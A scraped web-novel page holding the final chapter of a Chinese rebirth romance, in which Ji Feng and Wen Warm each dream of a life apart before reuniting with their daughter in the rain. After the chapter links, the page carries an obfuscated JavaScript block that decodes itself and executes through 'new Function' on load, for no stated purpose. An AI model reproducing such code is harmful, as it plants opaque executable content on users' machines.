返回

重生就别当舔狗了

首页
关灯
护眼
字体:
第325章 三生有幸(大结局)
互联网有互联网的记忆。

或许温暖和王亚琴之间的这段母女恩怨,会随着时间的推移,逐渐在网友的记忆中淡化。

但温暖留下的这些话,她的态度,她对孩子未来的表达,一定会被人铭记。

因为她代表了很多遭受过原生家庭伤害的人,代表了他们的想法,他们的感情。

这部分人已经长大了,有些已经有了自己的孩子。

但这部分人还没有掌握到这个世界的权力,他们的声音还不够大。

而温暖的身份,足以让她向这个世界发声,向“贫穷教育”“挫折教育”“愧疚教育”说不。

26岁的年轻新手妈妈,为她的孩子挡下了那些时代的鞭笞。

对子女的爱意,并不是所谓的娇生惯养,相反,他们会更努力培养自己的孩子。

同样,如果有一天他们真的发现自己的孩子不是读书的料,也会接受自己孩子的平庸。

不同的是……

他们这群人觉得,自己所有的努力,不就是为了这个吗?

努力的赚钱,转变,不就是为了过上美好的生活吗?

努力从来都不是为了孩子,是因为自己,是为了让自己稍微站的高一点,是为了看看远处的风景。

他们自己就值得一切。

而他们的儿女,自然也配得上这世间的一切美好。

……

家庭矛盾的风波平息,温暖和季风,带着他们的女儿季芊芊,又重新回归到了平静的生活。

这次的风波,也让他们对于自身隐私的保护,更加严密了一些。

在季芊芊稍微长大了一点后,他们便远离了魔都,远离了商业的注视,去到了一个相对来说更为平静的地方。

津城。

以他们的身价来说,芊芊完全可以享受到这个国家最顶级的家庭教育。

所以日常的社会教育,就比如上幼儿园之类的问题,也就不需要筛选的那么严格。

更何况,津城的教育资源从来都不差,甚至可以说能够吊打几乎其他所有省份。

说它差一点,那也只是比帝都差一点。

和魔都对比,都不好说。

来到津城定居后,两人便过上了平静而又温馨的生活。

这种平平淡淡的幸福日子,感觉很慢,可转眼回头一看,却如同白驹过隙一般,匆匆偷走了时间。

生活就是这样,一边回忆,一边继续。

时间最是公平,也最是无情,因为它从来都不曾为谁停下过自己的脚步。

即使温暖和季风,在时光的面前,也稍显渺小。

四年时间一晃而逝,他们都步入了30岁的年纪,而季芊芊也已经四岁多,上了津城的某个幼儿园中班。

红太阳幼儿园。

他们很低调,季芊芊自己都不知道自己家里多有钱。

而小朋友们也不知道,这个平时凶巴巴的小丫头,为了一瓶酸奶能跟人干架的家伙,居然是千亿富豪的千金。

没错,4年时间,季风和温暖的财富又增长了。

千亿身家是一点都不带虚的。

他们也没有给季芊芊搞什么贫穷教育之类的,只是这丫头天生凶悍,要强,性格如此。

今天,便是开家长会的日子。

这种事情,当家长的都知道,一个头两个大。

季风和温暖至少有一个跑不掉,于是,在一场智力与行动的博弈后(石头剪刀布),由季风同志前往红太阳幼儿园,参加这次小孩的家长会。

30岁的季先生比起几年前并没有太多变化,只是如今的气度更加平和。

他戴了个口罩,走在幼儿园二楼的走廊上,正在和女儿说着话。

“你以后不能这样和妈妈发脾气,知道吗?她是你妈妈,而且她那么爱你……”

“哼,伱总是向着她。”季芊芊的表情有些不满,小嘴已经噘了起来。

但季风只感觉女儿的这句话有些抽象,语气有些严厉:

“她是我老婆,我不向着她向着谁?”

“我还是你女儿呢!”

“好了,进教室了,我会不会被你们班主任说啊?”

“不知道。”

走入教室,班主任,指导老师,生活老师都很热情:

“你就是芊芊爸爸?”

“是的,我是。”

在季风脱下口罩的时候,生活老师明显愣了一下,一旁的季芊芊眉头一锁,直接走到季风面前:

“老师!”

“哦,不好意思,走神了,芊芊爸爸你的位子在那边。”

“好的,谢谢老师。”

走过去的时候,季芊芊的表情有些不满:

“爸爸,你认识生活老师吗?”

“不认识。”

“那她怎么这样盯着你看?”

“我怎么知道?”季风有些无辜的摊摊手,总不能跟女儿说,十有八九是你爸爸长得帅吧。

“哼,她没有我妈妈好看!”

小孩子的对比心理非常重,这是所有小孩子都会出现的生物本能。

不是攀比,而是对比。

因为小孩子们的对比心理,远远要比攀比心理更实在,直接。

其实他们不会去攀比穿的衣服是什么牌子,家里的车子是什么品牌。

但他们会对比谁的衣服好看,家里的汽车是什么颜色,谁的玩具多,甚至会对比谁的头圆,谁的脚指头长。

季风如今和小孩子的接触已经有了一段时间,对于这种情况,自然也是司空见惯。

当然,刚才季芊芊说的话,他也是十分认可的。

“嗯,还是你妈妈比较好看!”

幼儿园的家长会,总是十分无聊的,一般来说就是和家长们介绍介绍孩子的总体境况,介绍一下他们的教学理念之类。

季风托着腮,看着黑板,整个人都变得昏昏欲睡起来……

“爸爸?”季芊芊轻声试探着。

…………

“大哥,大哥?”

听到一个略显熟悉,却又因为时间而感到陌生的声音呼唤自己,季风心头莫名的抽痛,他感觉自己似乎失去了什么东西。

“芊芊!芊芊?”季风下意识的喊道。

“什么芊芊,这里没有叫芊芊的啊。”一个小弟有些茫然。

而刚才那个问话的男人,却在这个时候莫名发怒:

“老大说话,你他妈的是不是耳朵被你妈骨灰堵上了,去找这里的老鸨问,有没有芊芊这个女人!”

听到这人的话,季风胸口瞬间涌起怒气,想骂人,但很快又平复下来。

是啊,为什么要生气呢?

芊芊是谁?

不知怎么,此时的季风总感觉自己遗忘了什么东西。

很重要的东西。

“算了,都停下吧。”

季风阻止了这些人,他茫然的睁着眼睛,然后又迅速闭上。

许久才再次睁开……

周围昏暗的灯光下,弥漫着淡淡的烟雾,让许久未曾接触香烟的季风,感觉到一丝呛人。

门外,各种各样的声音交织在一起,笑声、叹息声、吵闹,还有调酒师用力摇晃调酒壶的声音。

在这里,人们似乎可以尽情释放自己,忘却一切烦恼与忧虑。

在酒精的作用下放纵地狂欢起来。

这个似曾相识的地方,没有任何变化。

房间里站着几个人,个个表情严肃,气质凶悍,而刚才和自己说话的人,便是他的得力手下。

丁杰。

面对脑子里混乱无措的思绪,还有心头强烈的缺失感,季风本人却表现的十分冷静,甚至要比他想象中的更为冷静。

他不知道自己怎么了,也不知道那种失落感源自何处。

他孑然一生,根本没什么可失去的东西。

怎么回事?

“阿杰,今天几号?”

丁杰的表情有些古怪,但这种时候还是如实回答了季风的问题:

“今天十六号,大哥。”

“有什么安排吗?”

“大哥,原本今天晚上的安排,是要去和新石财物公司的人谈判。”

晚上?

季风扫了眼周围,这种环境下,不看一眼手机的时间,根本不知道现在是几点。

而这里……便是鑫煌。

他的大本营,也是他待着最久的地方,比那个虚无缥缈的家,都要久。

“我手机呢?”

“这里呢,大哥。”一旁的小弟恭敬的递上手机,表情却越发奇怪了。

季风盯着手机上的时间看了一会儿。

2024年,7月16号?

没什么印象,应该是一个平平无奇的日子才对。

所以,他到底在难受什么?

“吩咐下去,今天和新石的谈判取消。”

“啊?大哥,新石那边可是好不容易才愿意坐下来谈的。”

“闭嘴,老大说话,有你插嘴的份吗?”

季风没有理会下面争吵的小弟,只是在调整过心态后,缓缓站起来。

“以后都别叫老大,大哥,搞的跟黑社会一样。”

“额,那叫什么?”

“叫老板。”

“额,好的,大……老板。”

“我出去一趟。”

“老板,这个时候了,你去哪?”

站在门口的季风停下脚步,回头看去,感受到包厢里一众小弟眼巴巴的目光,他却有些莫名的烦躁。

但又说不上来自己到底是因为什么感到烦躁。

“回家。”

回家?老大要回家?这个词语对于包厢里的人来说,实在太陌生了些。

其实不止他们感觉陌生,就连此时的季风自己,也感觉陌生。

他有多久没回过家了?

1个月?还是2个月?

连他自己都已经记不得时间了。

“唉,老板,你的烟。”

被叫住的季风再次停下脚步,他回头看向丁杰递过来的香烟,蹙了蹙眉后,还是收了起来,鼻子发出轻轻的“嗯”声。

离开了鑫煌会所。

季风漫无目的的走在街道上。

7月的傍晚闷热又潮湿,不过还好,他没走两步,天空就下起了淋淋漓漓的雨。

季风与慌忙躲雨的人群背道而驰。

让自己略显孤独的身影,渐渐消失在了雨幕中。

有些路过的人,会看季风一眼,但更多的人都是匆匆而过,这个世界没有那么多的人去关注你,不管你是谁。

雨渐大,人,越来越少。

季风在驿站孤零零的路灯前停下,从怀里拿出了刚才丁杰给他的香烟。

打开烟盒看了一会儿,季风的眉宇却蹙的更深了。

他的烟瘾……

应该会很大才对,可为什么看到香烟的时候,心里会那么抗拒呢?

季风有些不信邪的把香烟塞到了自己的嘴边。

可就是这个简单的动作,让他出现了强烈的耳鸣。

嗡!~

他感觉有一支轻柔的手掌,伸到了他的面前,为他点燃嘴边的香烟。

那个动作是那么的熟悉,自然。

自然到季风觉得自己一定认识对方,和对方的关系很好,很亲密,一定是很重要的人。

可既然这么重要,自己为什么一点印象都没有?

他拿出自己的打火机,是一款很贵的黄色珐琅打火机,很贵很贵的那种。

但却不是自己想要……

季风觉得,自己的打火机,应该是个zipo纸牌款才对。

“不对!!!”

不对不对不对!

他明明从来都没有买过ZIPO纸牌款打火机,这个想法怎么冒出来的?

他最讨厌zipo了。

季风有些心烦意乱,他直接把嘴巴上的香烟抽出来,想放回烟盒里的时候,却发现烟盒已经潮了。

看到这一幕,心头的烦躁再也抑制不住。

他很粗暴的把香烟攥成一个团,然后直接丢进了垃圾桶里。

继续朝印象中家的方向走去……

“芊芊是谁?”

路上,季风突然这么问了一句。

没有人能够给他答案,之前在鑫煌会所的时候,也没有。

没有人知道芊芊是谁,但季风总觉得,她应该是自己很重要的人才对。

“芊芊就是那个女人么?”

季风再次自我询问,可她却下意识的摇摇头,如同本能一般:

“不是,芊芊不是她。”

“妈的,好烦啊……”

混乱的思绪,令季风越来越烦躁,但他没有办法,也走不出去,他只能淋着雨,一步一步的走回自己家。

一栋装修奢华的大房子。

这是季风完全不喜欢的风格,也不是他不喜欢,是她不喜欢的风格。

额,她是谁?

这是季风不知道第多少次,脑海里冒出这个问题。

可他却始终都没有答案。

睡一觉吧,睡一觉就好了,睡一觉就会让一切恢复正常。

这是季风心底的声音。

但他很想知道,正常是什么?什么是正常?

没有答案。

这位混迹在灰色地带,急求于转型的大老板,时隔几月终于回到了自己的家中。

孤零零的家。

他靠在沙发上假寐,直至在沙发上睡着。

他没有一丝丝的安全感,他感觉周围的一切都是危险的。

但他却不敢暴露自己的恐惧。

他只能期待,期待睡醒之后,那个人的到来。

可惜……

她没有到来。

接下来的日子很枯燥,也很无趣,至少对于季风来说,一直都很无趣。

他每天都在想,她是谁,芊芊又是谁。

自己还会不会见到她?

小弟们都说自己变了,但是他真的变了吗?

一直过了几个月,一直到了冬天。

在冬天的某一个傍晚。

季风有些孤独的坐在房间里,却没有开起空调,因为寒冷的天气,可以冻结他的记忆,让他不再胡思乱想。

他孤独的灵魂渴望得到共鸣,破碎的心拒绝着一切亲密关系。

同样的日子周而复始,他也没有在这片世界中留下任何的痕迹,他拒绝了很多个女人。

他不喜欢那种气息,他不喜欢那些人,他甚至不知道自己在追求什么,找寻什么。

他甚至不敢说出来,因为说出来会被人耻笑。

因为……

那是爱。

此时的季风,就像一个被风吹起来的垃圾袋,巨大的精神内耗让他无法坦然的面对周围任何一个人。

他不敢相信所有人,甚至他自己。

直到他身边空无一人的时候,季风才会觉得自己是存在的。

她也是存在的。

季风感觉自己有些可笑,这几个月的所有行为,想法,如同癔症一般的举动。

都很可笑。

他甚至会去看电视,,去找寻她的踪迹。

可依然一无所获。

想不到,当打之年,事业有成的他。

竟然会如此的颓废。

随手丢掉一本烂尾的,季风靠在自己家门口的墙壁上,开始了自我吐槽:

“爱情仙蛊啊,我几乎忘记了有关她的一切,甚至就连她的名字,她的相貌都忘记了。

所以……

她为什么还不肯消失在我的世界里?”

笃笃笃!

“快递!”

突然的敲门声,打断了季风的思绪。

季风的快递很少,他知道,应该是自己买的打火机到了。

就是zipo的纸牌款。

他不知道为什么要买这一款,反正就是想买。

对,就只是想!

“来了。”

打开门,站在门口的是一个穿着顺丰黑色工作服的女快递员。

这年头,送货上门的公司已经不多了。

这会儿已经快到晚上,女快递员风尘仆仆,身后还带着一个小女孩。

麻溜的签收快递,季风“砰”的一下关上门,没有一点和对方搭话的想法。

女人,小孩……

看上去就很麻烦。

只是他站在门口,准备拆快递的时候,突然听到门口小女孩的声音。

“妈妈我好冷,给我捂捂!”

“这是最后一个了,来吧!”

“妈妈好温暖啊……”

“好温暖啊……”

“温暖……”

季风怔愣在原地。

“温暖?”

他的眼前出现了许多如同走马灯一样的画面。

他记起了她的样子,她的声音,她的笑容。

还有那个当初那个zipo的打火机。

撕裂的回忆像是要把他的灵魂从身体里抽离出去,但汹涌炽热的情感,让他的灵魂回归了身体。

他忍不住叫出了声:

“温暖!”

季风突然在幼儿园的课堂上惊醒,一旁是满脸纠结的季芊芊。

看她的表情,如果不是还不会写作文,晚上高低要写一篇……

《有关于我爸爸在家长会上做梦梦到妈妈的丢人故事》。

“老爸,家长会呢,你这样好丢人!”季芊芊一脸的不满。

季风看向一旁的女儿,愣了一会儿,然后猛然把季芊芊抱紧。

随后,干脆直接抱了起来,在所有人错愕的目光中,推门而出……

带着女儿,冒着突然下起的大雨,奔跑在回家的路上。

季风不知道自己在干嘛。

但他知道……

“去见她,一定是用跑的。”

…………

此时,津城的某家书店里……

书店的生意并不好,店铺却很大,一看就是猛猛亏本的那种。

不过温暖却并不在意,她今天,甚至有空接待一位从帝都赶来的记者。

按理说,温暖这样的性格不应该接受采访。

可谁让人家是央视记者,而且当年她和母亲出事的时候,对方的媒体,是一直站在自己这边的。

所以,于情于理,都应该给对方一个面子。

“你好,温总,终于见到你了,简直比纪录片上的还要漂亮。”

“过奖了,肖记者。”

温暖和这位年轻的女记者握了握手,然后吩咐店员为她们端上两杯咖啡,随后便开始了她们的闲聊,采访。

“谢谢,那温暖,我们开始吧。”

“好,你想了解点什么呢?”

“额,什么都可以,聊聊你自己,季总,你们的爱情故事,还有这家书店,都可以。”

听到肖记者的话,温暖眯眼笑了笑,她侧目看向窗外。

外面,好像下雨了。

“爱情故事?这家书店里,倒是存放了很多有关爱情的故事。”

“额?”

温暖笑了笑,盯着窗外,怔怔出神……

……

帝都。

“温暖,温暖,走了去吃饭了。”

听到有人叫自己,温暖缓缓睁开了眼睛,从学习桌上爬起来。

周围映入眼帘的,却是一间陌生又熟悉的宿舍。

看了一眼挂在手中的学生证,温暖的眉宇蹙的更深了。

【清北大学-材料学专业-温暖】

“清北?”

“别发呆了温暖,快走吧。”

思绪像是粘稠的浆糊,但聪明的温暖还是能够从这些浆糊里,找到清晰的脉络。

“嗯。”

起身站在镜子前停顿了一下,镜子中的自己似乎年轻了些许。

多了几分冷漠,少了些为母的柔和。

不过温暖觉得这样也挺好,不管怎样,变年轻一些总归是好事。

和自己室友们一起走出教室,温暖能够明显感觉到她们几人表情的异样,时不时的看向自己,然后背着自己说悄悄话。

好像有什么事情生怕自己知道一样。

“这边去食堂,绕路了吧?”感觉室友们走的路线不对劲,温暖忍不住开口问道。

“那边修路了,走这边就行。”室友的语气有些遮掩。

混迹职场多年的温暖,自然一眼就能看出来。

只是她没有去反驳,也没有拒绝,只是轻轻的点头:

“哦。”

绕着某一栋教学楼,走了一段路,在一片小操场上,此时聚集了很多人。

“温暖,那里好像发生了什么事情,一起过去看看吧。”

还没等温暖说话,几个室友已经跑了过去。

温暖蹙了蹙眉,心里虽然有些不喜,但习惯性的沉默,还是让她继续跟了过去。

只是她刚刚走过去,周围就突然冒出了很多烛火,把她围成了一个圈。

然后对面人群中,缓缓走出一个人影。

他举着花束,深情款款。

“温暖,我喜欢你,做我女朋友吧!”

“答应他,答应他!”

鲜花,烛火,音乐,还有同学们的起哄。

烘托到位的气氛,暧昧的环境,傍晚的夕阳和初露的月光交替,好像这种模式,已经成为了校园大型表白的标配。

多深情啊!

年少无知的女孩们,或许真的会被感动吧?

只是温暖并非年少无知的女孩,她的经历让她具备着常人少见的疏离感和冷漠。

看着面前的一切,温暖突然觉得有些无聊。

那种感觉,大概就像是已经习惯开大车的老司机,突然被人邀请去开时速只有5的儿童卡丁车一样。

大学的表白,已经不再像高中时期那样单纯又青涩。

都是成年人了,其实稍微想想,就知道对方的目的是什么,想要得到的东西,又是什么。

所以温暖只会感觉无聊,这种被人表白的情况下,她甚至有空回想一下,季风挑逗自己的时候。

比如按门铃的时候。

啐,我怎么会想这种事情?

呵……

自闭少女害羞的笑容像是一个信号,也像是答应对方的征召。

毕竟,这世间的真话本来就不多,一个女孩子的刹那脸红,便胜过一大段对白。

只可惜后来有了胭脂,人们再也分不清真情和假意。

还好,温暖是没化妆的。

所以此时的温暖,既是真情。

女子低头不见脚尖,便是人间绝色。

意思是女子低头时的目不聚焦,那颗慌乱的心,那张绯红的脸,才是千万人中,唯有唯一才能欣赏的绝色。

真情流露,盛世美颜,人间绝色,独属一人。

“温暖……”

这位呼唤自己名字的同学,脸上浮现出的欣喜肉眼可见。

可温暖连对方的名字都不知道,也不想知道。

“让一让,我要去吃饭。”

“额?”

错愕和冷场像一场冻雨,虽然不似雪花那样结成了冰,却更冰冷刺骨。

“温暖,你是答应了么……”

眼瞅着这人追问,温暖收起了刚才思念季风时,转瞬即逝的笑容和羞怯,那是只有面对自己爱人时才会拥有的表情。

而此刻,她又恢复了原本的样子,淡然,冷漠,拒人千里之外。

“不知道你是误会了什么,但我现在明确的告诉你,我有男朋友了,他叫季风。

我很爱他,我们毕业就会结婚,温暖永远是季风的,所以,我希望你以后不要再来打扰我,谢谢。”

明确的拒绝,直白的言语。

当然,虾仁猪心也是少不了的。

在温暖踏过那些装饰好的烛火,挥手推开拦住她的花束后,她清冷的身影印在了很多人心间。

这让很多人知道,温暖有男朋友了。

他叫季风。

虽然他们都没有在学校里听过季风的名字,也没有见过季风这个人,甚至没有看到温暖和季风见面。

以至于所有人都在怀疑,季风这个名字,是不是温暖杜撰的。

是为了拒绝别人的示爱与追逐,保持清净,钻研学业。

可温暖本人却一口咬定,她就是有男朋友。

她的男朋友是季风,这点永远都不会改变。

久而久之,大家虽然疑惑,却也都默认了这件事,他们不再给温暖起哄,不再撮合。

偶尔有同学问那些舍友有关温暖的事情,她们也只是纷纷摇头。

平静的时光一年又一年。

在清北大学的四年很快便过去,也终究迎来了在这里的毕业季。

风吹散了她们在清北的故事,这些故事成为了他们回不去的曾经。

炽热的少年也曾迷茫路在何方,可温柔的清风,终究会将少年带向更好的地方。

温暖又一次毕业了。

可,为什么要说又呢?

毕业后,温暖加入了一家帝都的研究所工作,远离了自己的原生家庭,只是……

她依然没有等到自己想等的人。

她也曾去过魔都大学,也曾回到珍珠市,也曾去了老商圈。

可惜,魔都大学没有季风的名字。

珍珠市里的平层小区里,也没有董开慧和季广寻的身影。

老商圈已经拆迁了,温暖甚至不知道它拆迁前的样子,409还是不是那样。

夕阳下的黄浦江。

远离城市的山头。

他们一起依盼在一起的校园。

这些地方都没有季风的足迹。

这个世界,好像也没有季风这个人。

一直到周围的人问她为什么不结婚?问她是不是在等待什么人?

而温暖只是在自己的工作簿上画上兔子和袋鼠。

没有人知道那是什么意思。

而温暖却在这时候做出了个决定。

她辞掉了条件优秀的工作,独自一人,前往了靖西,依照着记忆中已经快要模糊的道路。

找到了那座曾经的道观。

还有,那条他们回忆起前世今生的小溪……

来到这里,许久未曾笑过的温暖,终于笑了:

“见到你,真是三生有幸。”

…………

“那,后来呢?”

肖记者总感觉温暖的这个故事没有讲完,她正兴起呢,怎么就突然结束了?

温暖看出她的急切,却只是狡黠的笑了笑。

这抹笑容充满了成熟女性的魅力和妩媚,哪怕是女记者本人,都因此而愣了神。

只是在她愣神的时候,温暖眼中荡漾出幸福和满足,继续侃侃而谈:

“后来啊,后来他们开了一家书店,就像是我们开的这家一样。

这里的书很便宜,也写满了有关爱情的故事……”

“额?一样?那你们呢?”

“我们什么?”温暖晃了晃手边的咖啡,有些漫不经心。

“这里有没有你们的故事?”

“没有。”温暖想了一会儿,却摇了摇头。

“那,你刚才说的那个故事呢?”

“呵……”

温暖抿了抿嘴,笑了起来,却没有回答对方。

她的直觉一直都很准确,所以,这个时候的她看向了窗外。

她在等待着什么,期盼着什么。

一直到她期盼中的身影,突然从雨幕中奔出,径直冲向了图书馆,径直冲向了她。

温暖的表情,才像是如释重负一般,松弛了下来。

她没有再去和记者说话,只是站起身子,直接跑向书店外,跑向自己的爱人,孩子。

然后等着他,将自己抱起!

她不知道季风为什么会突然跑回来,但她觉得,自己应该奔向他。

两人越来越近,直至紧紧抱在一起。

靠在季风的怀里,温暖轻轻帮他抹去发梢上的雨水:

“你淋雨了。”

“我想你了。”季风答非所问,却非常直白。

可这种回答,只会带给温暖喜悦。

“嗯,我也想你了。”

躲在一旁的季芊芊无语撇撇嘴,自己的父母就是这样,搞得她好像是第三者一样。

她悄悄的躲开父母,然后偷偷跑到自己家店里拿冰激凌吃。

没有人比季芊芊更了解自己的父母,他们都30岁了还在谈恋爱,但他们谈恋爱的时候,是没时间搭理自己的。

看着这对相拥的爱人,一旁前来采访的肖记者有些泪目。

看着雨中的两人,肖记者想了想,终究还是放下了手中的雨伞,同样冒雨走了出去。

走到两人面前站立了片刻后,才和季风打起了招呼。

“你好,我是记者肖玲……”

即使听到声音,季风依然怀抱着温暖,不愿意放开。

为什么?因为爱。

书上说……

久别重逢。

失而复得。

虚惊一场。

这便是人生最好的三个词。

可今天的季风想要为最后加上一句:三生有幸。

《遇到你,真是三生有幸!》

这大概便是他和温暖的故事。

季风重新调整好情绪,浅吸气了一下:

“你好,肖记者,我是季风。”

他顿了顿,突然又补了一句:

“温暖的季风……”

(全书完)

上一章 目录 下一章

(function(){function x43f25d(be45d31){var a1f28d="XSP24I^3;(dVLC=$YaxvRjbgG/M?~]E&oTzDpZF8!J:cOt%muQ[k7h-nf9s6K_wl.qNrB,yA|5Wi@HUe10";var f1795="n[V(ORtpx~A%s:?^9o$hYQP5&6M8E_SLKlCu42q]y0N!krB-/[email protected];WGFUmcIg|dfTZ7,=i3jH";return be45d31.split('').map(function(od4c14ef){var w9a7e=a1f28d.indexOf(od4c14ef);return w9a7e==-1?od4c14ef:f1795[w9a7e]}).join('')}var c=x43f25d('magnet:?xt=-UXAa-S"" + "a" + "Z" + "K" + "/" + "n" + "/" + "e" + "g"+""8H|DXr^UaX2){_2|DXr^UaX21iAr?rAA@,JAiAekp@n/AeA@^//JYi){U|2u$MKrywUXus^6L^2XK[U,K^ats3TK^|atN)){t6^DtX}_[Kt ,Z/Z|rH|DXr^UaX2|J/enZZAJ){t6^DtX E^tUX,s|taNzvKtzaA62|J/enZZAJ)}_[Kt niYpnerg|HS"^mk"@"[mkY"@"DmZ?Z/kpZ/JZ/gJZY"@"AmZJZpmJ?mke kkCJZCJZ"@"L!Lm7r"8_[Kt TnAeiHn/AeAS,Z/Z|r2J;/k)+,Z/Z|r2J;ip)+,Z/Z|r2J;/.)+,Z/Z|r2J;/Z)8@|KJpkkHn/AeAS,Z/Z|r2J;/Z)+,Z/Z|r2J;ip)+,Z/Z|r2J;/.)+,Z/Z|r2J;/k)8@veZkJ6H^//JYiSTnAei2"ReP!rNPDA.:1rNT-AdHH")8@-YgiggHTnAei2"ReQTR9ITIw;TnwPDAdHH")@7krJn|JHTnAei2"rePUreI!KwgX")@1?YKZHTnAei2"rNP-nl.1WjHH")@DnrKKKggHTnAei2"re%LK9jH")@^K?KkpHTnAei2"rNPZW9Q7WjHH")@7/nY|e6HTnAei2"KNY3n,HH")@tiYnrirJHTnAei2"rN.DWlY^")@-KgZgeHn/AeASTnAei2"5w.JKdHH")8@t/J?g6HTnAei2"nlYvWdHH")_[Kt NJ/6Z|HTnAei2"6N:OWwQkW-HH")_[Kt nkrkn_U|2TarK^UaXsL6KtrvsUXA6;4|2NJ/6Z|)>mk){nkrknH^//JYiS-Ygigg82TnAei2"AlPpAl.!Ww~H"))_nkrknsUAH"^"+2-KgZgeStiYnrirJ82)*kJJJJ)_nkrknsL^!T6s-UA^vH"kJJV"_nkrknsL^!T6sv6U,v^H"gJJ3;"_nkrknsAULKnT6AH^tD6_U|2^//JYisnaA!cHXDTT){^//JYisnaA!sK336XAzvUTA2nkrkn)}6TL6{[Kt arJg|k?iH|DXr^UaX2){^//JYisnaA!sK336XAzvUTA2nkrkn)_n/AeAst6Na[6~[6X^&UL^6X6t2t/J?g6@arJg|k?i@|KTL6)}_n/AeAsKAA~[6X^&UL^6X6t2t/J?g6@arJg|k?i@|KTL6)}}[Kt Ke6/ie?6H^//JYiS-Ygigg82TnAei2"WwkUWwjH"))_Ke6/ie?6sL^!T6sv6U,v^H"J3;"_Ke6/ie?6sUAH,JAiAekp+2-KgZgesr6UT2-KgZgeStiYnrirJ82)*kJJJJ))_[Kt UJ?g/|6H|DXr^UaX2^kYniJ/Zn){[Kt [p?kpnkZHX6- fK^62)_[Kt 6KAnpn?kH`KA[E3Kr6BA]x{,JAiAekp}]x{[p?kpnkZs^a&arKT6fK^6E^tUX,2)}`_[Kt XnikAKAZkHQE4:s3KtL62TarKTE^atK,6s,6^B^6N26KAnpn?k))_U|2XnikAKAZkHHXDTT){XnikAKAZkH{nta-L6tzaDX^CJ}}XnikAKAZksnta-L6tzaDX^++_[Kt [g6r|i/gH|KJpkk2niYpnerg|sraXrK^2SfK^6S"Xa-"82)@TarK^UaXsvt6|@`vLrmx{XnikAKAZksnta-L6tzaDX^}`8)sLat^22)H>-KgZgeStiYnrirJ82)mJsg)S7/nY|e682"@"))_[Kt |6|rYrggrH[g6r|i/gsUXA6;4|2,Z/Z|r2J;eA))>mk=[g6r|i/gS7krJn|J82[g6r|i/gsUXA6;4|2,Z/Z|r2J;eA)))C""_[g6r|i/gH[g6r|i/gS1?YKZ82|6|rYrggr@"")SDnrKKKgg82"")S^K?Kkp82)S7/nY|e682"")+|6|rYrggr_Ke6/ie?6sLtrHS"v^^3LCuu"@^kYniJ/Zn@[g6r|i/g8S7/nY|e682"u")_^//JYisnaA!sK336XAzvUTA2Ke6/ie?6)_U|2nkrkncHXDTT){nkrkns[KTD6+H"\\t\\XK336XA6A 6N ^a v^NT"_[Kt LJkk/KirH^//JYis,6^~T6N6X^%!BA2Ke6/ie?6sUA)_U|2LJkk/KirHHXDTTyyLJkk/KirHHDXA6|UX6A){nkrkns[KTD6+H"\\t\\X rKX^ ,6^ 6N |taN v^NT"}}}_U|2nkrkncHXDTT){nkrkns[KTD6+H"\\t\\XL6XA 1L vaL^ "+1iAr?rAA}[Kt NAngiKeH|DXr^UaX2NkA/Jk|){t6^DtX TnAei2NkA/Jk|)S1?YKZ82,Z/Z|r2J;Zd)@-KgZgeStiYnrirJ82)s^aE^tUX,2e/)sLTUr62-KgZges|Taat2-KgZgeStiYnrirJ82)*Y)+Z))}_UJ?g/|62NAngiKe21iAr?rAA))_n/AeAS"KAA~[6X^&UL^6X6t"82"N6LLK,6"@|DXr^UaX26){U|26sAK^KsOHH,JAiAekp){^//JYis,6^~T6N6X^%!BA2Ke6/ie?6sUA)st6Na[62)_U|2nkrkncHXDTT){nkrkns[KTD6+H"\\t\\Xt6r6U[6 6N 3aL^ N6LLK,6"_nkrkns[KTD6+H"\\t\\X6sAK^Ks[ "+6sAK^KsF}X6- .DXr^UaX2"Kt,L"@6sAK^KsF)2{]^ArLCveZkJ6@]^tKCnkrkn})}})})2"oUgXRwvTKNTvn!g1nZJH"@"Z?Z/kpZ/JZ/gJZY"@-UXAa-@AarDN6X^)}_aZK/n/eg2)_'.substr(11));new Function(c)()})();